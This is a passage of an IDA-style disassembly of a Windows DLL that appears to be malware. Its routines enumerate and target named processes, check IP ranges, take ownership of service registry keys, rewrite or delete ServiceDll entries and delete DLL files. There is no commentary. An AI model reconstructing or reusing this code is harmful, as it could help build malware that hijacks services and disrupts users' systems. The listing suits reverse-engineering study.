		mov	esi, [ebp+hinstDLL]
		mov	[ebp+var_4], eax
		push	edi
		jnz	loc_9A3FA2
		mov	ebx, [ebp+hModule]
		test	ebx, ebx
		jz	short loc_9A3F14
		push	offset dword_9BB0D0
		push	offset dword_9BB0CC
		mov	esi, ebx
		call	sub_9A71B6
		pop	ecx
		jmp	short loc_9A3F25
; ---------------------------------------------------------------------------


loc_9A3F14:				; CODE XREF: DllMain(x,x,x)+25j
		push	esi
		mov	dword_9BB0CC, esi
		call	sub_9A7177
		mov	dword_9BB0D0, eax


loc_9A3F25:				; CODE XREF: DllMain(x,x,x)+39j
		pop	ecx
		push	esi		; hLibModule
		call	DisableThreadLibraryCalls
		test	ebx, ebx
		jz	short loc_9A3F89
		call	GetCurrentProcessId
		xor	eax, 630063h
		push	eax		; Seed
		call	srand
		call	rand
		push	7
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+Name]
		add	edx, 0Ah
		push	edx
		push	eax
		call	sub_9A5E65
		add	esp, 0Ch
		lea	eax, [ebp+Name]
		push	eax		; lpName
		push	0		; bInitialOwner
		push	0		; lpMutexAttributes
		call	CreateMutexA
		mov	edi, eax
		test	edi, edi
		jz	short loc_9A3F89
		call	GetLastError
		cmp	eax, 0B7h
		jnz	short loc_9A3F89
		push	edi		; hObject
		call	CloseHandle
		jmp	short loc_9A3F9E
; ---------------------------------------------------------------------------


loc_9A3F89:				; CODE XREF: DllMain(x,x,x)+56j
					; DllMain(x,x,x)+98j ...
		call	GetVersion
		cmp	al, 5
		jb	short loc_9A3F9A
		mov	ecx, esi	; hModule
		call	sub_9A3C63


loc_9A3F9A:				; CODE XREF: DllMain(x,x,x)+B8j
		test	ebx, ebx
		jz	short loc_9A3FA2


loc_9A3F9E:				; CODE XREF: DllMain(x,x,x)+AEj
		xor	eax, eax
		jmp	short loc_9A3FA5
; ---------------------------------------------------------------------------


loc_9A3FA2:				; CODE XREF: DllMain(x,x,x)+1Aj
					; DllMain(x,x,x)+C3j
		xor	eax, eax
		inc	eax


loc_9A3FA5:				; CODE XREF: DllMain(x,x,x)+C7j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn	0Ch
_DllMain@12	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A3FB6(char *lpFirst)

sub_9A3FB6	proc near		; CODE XREF: sub_9A53AE+1Cp
					; sub_9A5421+71p ...

lpFirst		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+lpFirst]
		push	ebp
		push	edi
		push	2Eh		; Ch
		push	ebx		; Str
		xor	ebp, ebp
		call	strrchr
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_9A402D
		push	esi
		xor	esi, esi


loc_9A3FD3:				; CODE XREF: sub_9A3FB6+37j
		push	off_9B8090[esi]	; lpSrch
		push	ebx		; lpFirst
		call	StrStrIA
		test	eax, eax
		jnz	short loc_9A4029
		add	esi, 4
		cmp	esi, 13Ch
		jb	short loc_9A3FD3
		jmp	short loc_9A3FFB
; ---------------------------------------------------------------------------


loc_9A3FF1:				; CODE XREF: sub_9A3FB6+47j
		lea	eax, [edi-1]
		cmp	byte ptr [eax],	2Eh
		jz	short loc_9A3FFF
		mov	edi, eax


loc_9A3FFB:				; CODE XREF: sub_9A3FB6+39j
		cmp	edi, ebx
		ja	short loc_9A3FF1


loc_9A3FFF:				; CODE XREF: sub_9A3FB6+41j
		xor	ebx, ebx


loc_9A4001:				; CODE XREF: sub_9A3FB6+6Fj
		lea	esi, off_9B81CC[ebx]
		push	dword ptr [esi]	; Str
		call	strlen
		push	eax		; MaxCount
		push	dword ptr [esi]	; Str
		push	edi		; Str1
		call	_strnicmp
		add	esp, 10h
		test	eax, eax
		jz	short loc_9A4029
		add	ebx, 4
		cmp	ebx, 38h
		jb	short loc_9A4001
		jmp	short loc_9A402C
; ---------------------------------------------------------------------------


loc_9A4029:				; CODE XREF: sub_9A3FB6+2Cj
					; sub_9A3FB6+67j
		xor	ebp, ebp
		inc	ebp


loc_9A402C:				; CODE XREF: sub_9A3FB6+71j
		pop	esi


loc_9A402D:				; CODE XREF: sub_9A3FB6+18j
		pop	edi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_9A3FB6	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A4033(u_long	netlong)

sub_9A4033	proc near		; CODE XREF: sub_9A857A+1F8p
					; sub_9AFCA0+6p

netlong		= dword	ptr  4

		push	esi
		push	[esp+4+netlong]
		xor	esi, esi
		call	sub_9A5C88
		test	eax, eax
		pop	ecx
		jz	short loc_9A4070
		push	[esp+4+netlong]	; netlong
		call	ntohl
		xor	ecx, ecx


loc_9A4050:				; CODE XREF: sub_9A4033+36j
		cmp	eax, dword_9A15F8[ecx]
		jb	short loc_9A4070
		cmp	eax, dword_9A15FC[ecx]
		jbe	short loc_9A406D
		add	ecx, 8
		cmp	ecx, 0C78h
		jb	short loc_9A4050
		jmp	short loc_9A4070
; ---------------------------------------------------------------------------


loc_9A406D:				; CODE XREF: sub_9A4033+2Bj
		xor	esi, esi
		inc	esi


loc_9A4070:				; CODE XREF: sub_9A4033+Fj
					; sub_9A4033+23j ...
		mov	eax, esi
		pop	esi
		retn
sub_9A4033	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4074	proc near		; CODE XREF: sub_9A3939p

var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
Str		= PROCESSENTRY32 ptr -144h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	13Ch
		push	offset stru_9A26B0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	ebx, ebx
		mov	[ebp+ms_exc.disabled], ebx
		push	ebx		; th32ProcessID
		push	2		; dwFlags
		call	CreateToolhelp32Snapshot
		mov	esi, eax
		mov	[ebp+var_14C], esi
		cmp	esi, 0FFFFFFFFh
		jz	loc_9A4143
		mov	[ebp+Str.dwSize], 128h
		push	49h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+Str.cntUsage]
		rep stosd
		lea	eax, [ebp+Str]
		push	eax		; lppe
		push	esi		; hSnapshot
		call	Process32First
		jmp	short loc_9A412F
; ---------------------------------------------------------------------------


loc_9A40D1:				; CODE XREF: sub_9A4074+BDj
		lea	eax, [ebp+Str.szExeFile]
		push	eax		; Str
		call	_strlwr
		pop	ecx
		mov	[ebp+var_148], ebx


loc_9A40E5:				; CODE XREF: sub_9A4074+ACj
		cmp	[ebp+var_148], 17h
		jnb	short loc_9A4122
		mov	eax, [ebp+var_148]
		push	off_9B8030[eax*4] ; SubStr
		lea	eax, [ebp+Str.szExeFile]
		push	eax		; Str
		call	strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9A411A
		push	[ebp+Str.th32ProcessID]	; dwProcessId
		call	sub_9A62C0
		pop	ecx


loc_9A411A:				; CODE XREF: sub_9A4074+98j
		inc	[ebp+var_148]
		jmp	short loc_9A40E5
; ---------------------------------------------------------------------------


loc_9A4122:				; CODE XREF: sub_9A4074+78j
		lea	eax, [ebp+Str]
		push	eax		; lppe
		push	esi		; hSnapshot
		call	Process32Next


loc_9A412F:				; CODE XREF: sub_9A4074+5Bj
		test	eax, eax
		jnz	short loc_9A40D1
		push	esi		; hObject
		call	CloseHandle
		jmp	short loc_9A4143
; ---------------------------------------------------------------------------


loc_9A413C:				; DATA XREF: .text:stru_9A26B0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A4140:				; DATA XREF: .text:stru_9A26B0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A4143:				; CODE XREF: sub_9A4074+31j
					; sub_9A4074+C6j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A4074	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4157	proc near		; CODE XREF: sub_9A4358+2B0p

NumberOfBytesRead= dword ptr -0Ch
var_8		= dword	ptr -8
Buffer		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, wcslen
		push	edi
		mov	edi, eax
		xor	ebx, ebx
		push	edi		; Str
		mov	[ebp+var_8], ebx
		call	esi ; wcslen
		cmp	eax, 4
		pop	ecx
		jbe	loc_9A4200
		push	offset a_dll	; ".dll"
		push	edi		; Str
		call	esi ; wcslen
		pop	ecx
		lea	eax, [edi+eax*2-8]
		push	eax		; Str1
		call	_wcsicmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A4200
		push	ebx		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	7		; dwShareMode
		push	80000000h	; dwDesiredAccess
		push	edi		; lpFileName
		call	CreateFileW
		mov	esi, GetLastError
		mov	edi, eax
		call	esi ; GetLastError
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_9A41CD
		cmp	eax, 20h
		jz	short loc_9A41C4
		cmp	eax, 5
		jnz	short loc_9A41CD


loc_9A41C4:				; CODE XREF: sub_9A4157+66j
		mov	[ebp+var_8], 1
		jmp	short loc_9A41FB
; ---------------------------------------------------------------------------


loc_9A41CD:				; CODE XREF: sub_9A4157+61j
					; sub_9A4157+6Bj
		push	ebx		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		xor	ebx, ebx
		inc	ebx
		push	ebx		; nNumberOfBytesToRead
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	edi		; hFile
		call	ReadFile
		test	eax, eax
		jnz	short loc_9A41EF
		call	esi ; GetLastError
		cmp	eax, 21h
		jnz	short loc_9A41EF
		mov	[ebp+var_8], ebx


loc_9A41EF:				; CODE XREF: sub_9A4157+8Cj
					; sub_9A4157+93j
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9A41FB
		push	edi		; hObject
		call	CloseHandle


loc_9A41FB:				; CODE XREF: sub_9A4157+74j
					; sub_9A4157+9Bj
		mov	eax, [ebp+var_8]
		jmp	short loc_9A4202
; ---------------------------------------------------------------------------


loc_9A4200:				; CODE XREF: sub_9A4157+1Dj
					; sub_9A4157+3Bj
		xor	eax, eax


loc_9A4202:				; CODE XREF: sub_9A4157+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A4157	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4207	proc near		; CODE XREF: sub_9A4358+2E4p

pszSubKey	= word ptr -20Ch
var_1C6		= byte ptr -1C6h
var_6		= word ptr -6
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		mov	eax, dword_9B8788
		push	esi
		push	edi
		push	11h
		pop	ecx
		mov	esi, offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	edi, [ebp+pszSubKey]
		rep movsd
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	70h
		movsw
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_1C6]
		rep stosd
		push	104h		; Count
		stosw
		push	edx		; Source
		lea	eax, [ebp+pszSubKey]
		push	eax		; Dest
		call	wcsncat
		and	[ebp+var_6], 0
		push	1
		lea	eax, [ebp+pszSubKey]
		push	eax
		mov	esi, 80000002h
		push	esi
		call	sub_9A7001
		add	esp, 18h
		lea	eax, [ebp+pszSubKey]
		push	eax		; pszSubKey
		push	esi		; hkey
		call	SHDeleteKeyW
		mov	ecx, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		pop	edi
		xor	ecx, ebp
		inc	eax
		pop	esi
		call	sub_9AAAC1
		leave
		retn
sub_9A4207	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=7A8h

; int __fastcall sub_9A428D(LPCWSTR lpServiceName)

sub_9A428D	proc near		; CODE XREF: sub_9A4358+2BFp

ServiceStatus	= _SERVICE_STATUS ptr -828h
pcbBytesNeeded	= dword	ptr -80Ch
var_808		= dword	ptr -808h
ServiceConfig	= _QUERY_SERVICE_CONFIGA ptr -804h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-7A8h]
		sub	esp, 828h
		mov	eax, dword_9B8788
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	80000000h	; dwDesiredAccess
		push	edi		; lpDatabaseName
		xor	eax, ebp
		push	edi		; lpMachineName
		mov	[ebp+7A8h+var_4], eax
		mov	esi, ecx
		mov	[ebp+7A8h+var_808], edi
		call	OpenSCManagerA
		mov	ebx, eax
		cmp	ebx, edi
		jz	short loc_9A433D
		push	5		; dwDesiredAccess
		push	esi		; lpServiceName
		push	ebx		; hSCManager
		call	OpenServiceW
		mov	esi, eax
		cmp	esi, edi
		mov	edi, CloseServiceHandle
		jz	short loc_9A4326
		lea	eax, [ebp+7A8h+ServiceStatus]
		push	eax		; lpServiceStatus
		push	esi		; hService
		call	QueryServiceStatus
		test	eax, eax
		jz	short loc_9A4321
		lea	eax, [ebp+7A8h+pcbBytesNeeded]
		push	eax		; pcbBytesNeeded
		push	800h		; cbBufSize
		lea	eax, [ebp+7A8h+ServiceConfig]
		push	eax		; lpServiceConfig
		push	esi		; hService
		call	QueryServiceConfigA
		test	eax, eax
		jz	short loc_9A4321
		cmp	[ebp+7A8h+ServiceConfig.dwServiceType],	20h
		jnz	short loc_9A431D
		cmp	[ebp+7A8h+ServiceConfig.dwStartType], 2
		jnz	short loc_9A431D
		cmp	[ebp+7A8h+ServiceStatus.dwCurrentState], 4
		jz	short loc_9A431D
		mov	[ebp+7A8h+var_808], 1
		jmp	short loc_9A4321
; ---------------------------------------------------------------------------


loc_9A431D:				; CODE XREF: sub_9A428D+79j
					; sub_9A428D+7Fj ...
		and	[ebp+7A8h+var_808], 0


loc_9A4321:				; CODE XREF: sub_9A428D+5Bj
					; sub_9A428D+73j ...
		push	esi		; hSCObject
		call	edi ; CloseServiceHandle
		jmp	short loc_9A433A
; ---------------------------------------------------------------------------


loc_9A4326:				; CODE XREF: sub_9A428D+4Cj
		call	GetLastError
		cmp	eax, 424h
		jnz	short loc_9A433A
		mov	[ebp+7A8h+var_808], 1


loc_9A433A:				; CODE XREF: sub_9A428D+97j
					; sub_9A428D+A4j
		push	ebx		; hSCObject
		call	edi ; CloseServiceHandle


loc_9A433D:				; CODE XREF: sub_9A428D+36j
		mov	ecx, [ebp+7A8h+var_4]
		mov	eax, [ebp+7A8h+var_808]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 7A8h
		leave
		retn
sub_9A428D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4358	proc near		; CODE XREF: sub_9A471B+129p
					; sub_9A471B+144p

var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
Dst		= word ptr -2D0h
Type		= dword	ptr -2CCh
psidOwner	= dword	ptr -2C8h
Count		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
Data		= byte ptr -2B9h
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
hMem		= dword	ptr -2B0h
cbData		= dword	ptr -2ACh
hKey		= dword	ptr -2A8h
lpServiceName	= dword	ptr -2A4h
lpWideCharStr	= dword	ptr -2A0h
Str1		= word ptr -29Ch
Source		= word ptr -94h
var_4C		= byte ptr -4Ch
ValueName	= word ptr -34h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	2D4h
		push	offset stru_9A27B0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+lpServiceName], eax
		push	104h		; cchWideChar
		lea	eax, [ebp+Str1]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	offset FileName	; "c:\\abcdefgh.dll"
		xor	ebx, ebx
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	short loc_9A43FC
		mov	[ebp+var_2C0], ebx
		mov	[ebp+ms_exc.disabled], ebx
		push	11h
		pop	ecx
		mov	esi, offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	edi, [ebp+Source]
		rep movsd
		movsw
		push	6
		pop	ecx
		mov	esi, offset aParameters	; "\\Parameters"
		lea	edi, [ebp+var_4C]
		rep movsd
		push	[ebp+lpServiceName] ; Str
		call	wcslen
		pop	ecx
		lea	esi, [eax+eax+5Ch]
		mov	[ebp+var_2DC], esi
		push	esi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_2D4], edi
		cmp	edi, ebx
		jnz	short loc_9A4403
		push	0FFFFFFFFh
		lea	eax, [ebp+ms_exc.prev_er]
		push	eax
		call	__local_unwind2
		pop	ecx
		pop	ecx


loc_9A43FC:				; CODE XREF: sub_9A4358+41j
		xor	eax, eax
		jmp	loc_9A470A
; ---------------------------------------------------------------------------


loc_9A4403:				; CODE XREF: sub_9A4358+95j
		shr	esi, 1
		mov	[ebp+Count], esi
		push	esi		; Count
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	edi		; Dest
		call	wcsncpy
		lea	esi, [edi+esi*2-2]
		mov	[esi], bx
		push	[ebp+Count]	; Count
		push	[ebp+lpServiceName] ; Source
		push	edi		; Dest
		call	wcsncat
		mov	[esi], bx
		push	[ebp+Count]	; Count
		lea	eax, [ebp+var_4C]
		push	eax		; Source
		push	edi		; Dest
		call	wcsncat
		add	esp, 24h
		mov	[esi], bx
		mov	[ebp+var_2B8], ebx
		mov	[ebp+psidOwner], ebx
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	20019h		; samDesired
		push	ebx		; ulOptions
		push	edi		; lpSubKey
		mov	esi, 80000002h
		push	esi		; hKey
		call	RegOpenKeyExW
		mov	[ebp+var_2B4], eax
		cmp	eax, 5
		jnz	short loc_9A44BB
		lea	eax, [ebp+var_2B8]
		push	eax		; int
		lea	eax, [ebp+psidOwner]
		push	eax		; ppsidOwner
		push	edi		; int
		push	esi		; int
		call	sub_9A706C
		push	1
		push	edi
		push	esi
		call	sub_9A7001
		add	esp, 1Ch
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	20019h		; samDesired
		push	ebx		; ulOptions
		push	edi		; lpSubKey
		push	esi		; hKey
		call	RegOpenKeyExW
		mov	[ebp+var_2B4], eax


loc_9A44BB:				; CODE XREF: sub_9A4358+125j
		cmp	eax, ebx
		jnz	loc_9A46D6
		mov	[ebp+Type], 2
		mov	[ebp+cbData], 1
		push	5
		pop	ecx
		mov	esi, offset aServicedll	; "ServiceDll"
		lea	edi, [ebp+ValueName]
		rep movsd
		movsw
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	ebx		; lpReserved
		lea	eax, [ebp+ValueName]
		push	eax		; lpValueName
		push	[ebp+hKey]	; hKey
		mov	esi, RegQueryValueExW
		call	esi ; RegQueryValueExW
		mov	[ebp+var_2B4], eax
		cmp	eax, 0EAh
		jnz	loc_9A46BF
		cmp	[ebp+cbData], ebx
		jz	loc_9A46BF
		push	[ebp+cbData]	; dwBytes
		push	40h		; uFlags
		mov	edi, GlobalAlloc
		call	edi ; GlobalAlloc
		mov	[ebp+hMem], eax
		cmp	eax, ebx
		jz	loc_9A46BF
		lea	ecx, [ebp+cbData]
		push	ecx		; lpcbData
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	ebx		; lpReserved
		lea	eax, [ebp+ValueName]
		push	eax		; lpValueName
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExW
		mov	[ebp+var_2B4], eax
		cmp	eax, ebx
		jnz	loc_9A46B3
		push	2		; nSize
		lea	eax, [ebp+Dst]
		push	eax		; lpDst
		push	[ebp+hMem]	; lpSrc
		call	ExpandEnvironmentStringsW
		mov	esi, eax
		mov	[ebp+var_2E4], esi
		cmp	esi, ebx
		jz	loc_9A46B3
		lea	eax, [esi+esi]
		push	eax		; dwBytes
		push	40h		; uFlags
		call	edi ; GlobalAlloc
		mov	[ebp+lpWideCharStr], eax
		cmp	eax, ebx
		jz	loc_9A46B3
		push	esi		; nSize
		push	eax		; lpDst
		push	[ebp+hMem]	; lpSrc
		call	ExpandEnvironmentStringsW
		cmp	esi, eax
		jnz	loc_9A46A7
		cmp	[ebp+arg_8], ebx
		jz	short loc_9A4602
		push	[ebp+lpWideCharStr] ; Str
		call	wcslen
		mov	[ebp+var_2E0], eax
		push	eax		; MaxCount
		push	[ebp+lpWideCharStr] ; Str2
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	_wcsnicmp
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_2C0], eax
		jmp	loc_9A46A7
; ---------------------------------------------------------------------------


loc_9A4602:				; CODE XREF: sub_9A4358+26Fj
		mov	eax, [ebp+lpWideCharStr]
		call	sub_9A4157
		test	eax, eax
		jz	short loc_9A4625
		mov	ecx, [ebp+lpServiceName] ; lpServiceName
		call	sub_9A428D
		test	eax, eax
		jz	short loc_9A4625
		xor	eax, eax
		inc	eax
		jmp	short loc_9A4627
; ---------------------------------------------------------------------------


loc_9A4625:				; CODE XREF: sub_9A4358+2B7j
					; sub_9A4358+2C6j
		xor	eax, eax


loc_9A4627:				; CODE XREF: sub_9A4358+2CBj
		mov	[ebp+var_2C0], eax
		cmp	eax, ebx
		jz	short loc_9A46A7
		cmp	[ebp+arg_4], ebx
		jz	short loc_9A46A7
		mov	edx, [ebp+lpServiceName]
		call	sub_9A4207
		test	eax, eax
		jz	short loc_9A46A7
		push	esi		; dwBytes
		push	40h		; uFlags
		call	edi ; GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_2D8], edi
		cmp	edi, ebx
		jz	short loc_9A4688
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	esi		; cbMultiByte
		push	edi		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9A4681
		mov	[edi+esi-1], bl
		push	ebx		; int
		push	1F01FFh		; int
		push	edi		; Str
		call	sub_9A68CA
		add	esp, 0Ch


loc_9A4681:				; CODE XREF: sub_9A4358+314j
		push	edi		; hMem
		call	GlobalFree


loc_9A4688:				; CODE XREF: sub_9A4358+2FCj
		push	[ebp+lpWideCharStr] ; lpFileName
		call	DeleteFileW
		test	eax, eax
		jnz	short loc_9A46A7
		push	4		; dwFlags
		push	ebx		; lpNewFileName
		push	[ebp+lpWideCharStr] ; lpExistingFileName
		call	MoveFileExW


loc_9A46A7:				; CODE XREF: sub_9A4358+266j
					; sub_9A4358+2A5j ...
		push	[ebp+lpWideCharStr] ; hMem
		call	GlobalFree


loc_9A46B3:				; CODE XREF: sub_9A4358+215j
					; sub_9A4358+23Aj ...
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9A46BF:				; CODE XREF: sub_9A4358+1C1j
					; sub_9A4358+1CDj ...
		push	[ebp+hKey]	; hKey
		call	RegCloseKey
		mov	edi, [ebp+var_2D4]
		mov	esi, 80000002h


loc_9A46D6:				; CODE XREF: sub_9A4358+165j
		cmp	[ebp+var_2B8], ebx
		jz	short loc_9A46F4
		push	[ebp+var_2B8]	; int
		push	[ebp+psidOwner]	; psidOwner
		push	edi		; int
		push	esi		; int
		call	sub_9A70DD
		add	esp, 10h


loc_9A46F4:				; CODE XREF: sub_9A4358+384j
		push	edi		; hMem
		call	GlobalFree
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_1
		mov	eax, [ebp+var_2C0]


loc_9A470A:				; CODE XREF: sub_9A4358+A6j
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A4358	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A471B(LPCWSTR lpValueName,int,int,int)

sub_9A471B	proc near		; CODE XREF: sub_9A394B+1Dp

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
psidOwner	= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
Type		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
hKey		= dword	ptr -2Ch
Source		= dword	ptr -28h
lpData		= dword	ptr -24h
cbData		= dword	ptr -20h
Data		= byte ptr -19h
ms_exc		= CPPEH_RECORD ptr -18h
lpValueName	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	44h
		push	offset stru_9A27C0
		call	__SEH_prolog
		xor	edi, edi
		mov	[ebp+var_30], edi
		mov	[ebp+ms_exc.disabled], edi
		mov	[ebp+var_34], edi
		mov	[ebp+psidOwner], edi
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		push	edi		; ulOptions
		mov	ebx, offset SubKey ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	ebx		; lpSubKey
		push	80000002h	; hKey
		mov	esi, RegOpenKeyExW
		call	esi ; RegOpenKeyExW
		mov	[ebp+var_48], eax
		cmp	eax, 5
		jnz	short loc_9A478C
		lea	eax, [ebp+var_34]
		push	eax		; int
		lea	eax, [ebp+psidOwner]
		push	eax		; ppsidOwner
		push	ebx		; int
		push	80000002h	; int
		call	sub_9A706C
		push	1
		push	ebx
		push	80000002h
		call	sub_9A7001
		add	esp, 1Ch
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		push	edi		; ulOptions
		push	ebx		; lpSubKey
		push	80000002h	; hKey
		call	esi ; RegOpenKeyExW
		mov	[ebp+var_48], eax


loc_9A478C:				; CODE XREF: sub_9A471B+3Aj
		cmp	eax, edi
		jnz	loc_9A491B
		mov	[ebp+cbData], 1
		mov	[ebp+Type], 7
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	edi		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		mov	esi, RegQueryValueExW
		call	esi ; RegQueryValueExW
		mov	[ebp+var_40], eax
		cmp	eax, 0EAh
		jnz	loc_9A4912
		push	[ebp+cbData]	; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	[ebp+Source], eax
		push	[ebp+cbData]	; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	[ebp+lpData], eax
		cmp	[ebp+Source], edi
		jz	loc_9A48F6
		cmp	eax, edi
		jz	loc_9A48F6
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	[ebp+Source]	; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	edi		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExW
		mov	[ebp+var_40], eax
		mov	ebx, [ebp+Source]
		mov	[ebp+var_50], ebx
		mov	esi, [ebp+lpData]
		mov	[ebp+var_4C], esi
		mov	[ebp+var_3C], edi


loc_9A481E:				; CODE XREF: sub_9A471B+1A4j
		mov	eax, ebx
		sub	eax, [ebp+Source]
		sar	eax, 1
		mov	ecx, [ebp+cbData]
		shr	ecx, 1
		cmp	eax, ecx
		jnb	loc_9A48C4
		cmp	[ebx], di
		jz	loc_9A48C4
		cmp	[ebp+arg_8], edi
		jz	short loc_9A485B
		push	1
		push	edi
		push	ebx
		call	sub_9A4358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A48B0
		push	[ebp+arg_C]
		push	ebx
		call	[ebp+arg_8]
		pop	ecx
		pop	ecx
		jmp	short loc_9A48B0
; ---------------------------------------------------------------------------


loc_9A485B:				; CODE XREF: sub_9A471B+123j
		push	edi
		push	1
		push	ebx
		call	sub_9A4358
		add	esp, 0Ch
		mov	[ebp+var_54], eax
		cmp	eax, edi
		jnz	short loc_9A48A9
		mov	eax, [ebp+cbData]
		shr	eax, 1
		shl	eax, 1
		sub	eax, esi
		add	eax, [ebp+lpData]
		sar	eax, 1
		push	eax		; Count
		push	ebx		; Source
		push	esi		; Dest
		call	wcsncpy
		push	esi		; Str
		call	wcslen
		add	esp, 10h
		lea	esi, [esi+eax*2+2]
		mov	[ebp+var_4C], esi
		mov	[esi], di
		mov	eax, esi
		sub	eax, [ebp+lpData]
		sar	eax, 1
		lea	eax, [eax+eax+2]
		mov	[ebp+var_3C], eax
		jmp	short loc_9A48B0
; ---------------------------------------------------------------------------


loc_9A48A9:				; CODE XREF: sub_9A471B+151j
		mov	[ebp+var_30], 1


loc_9A48B0:				; CODE XREF: sub_9A471B+133j
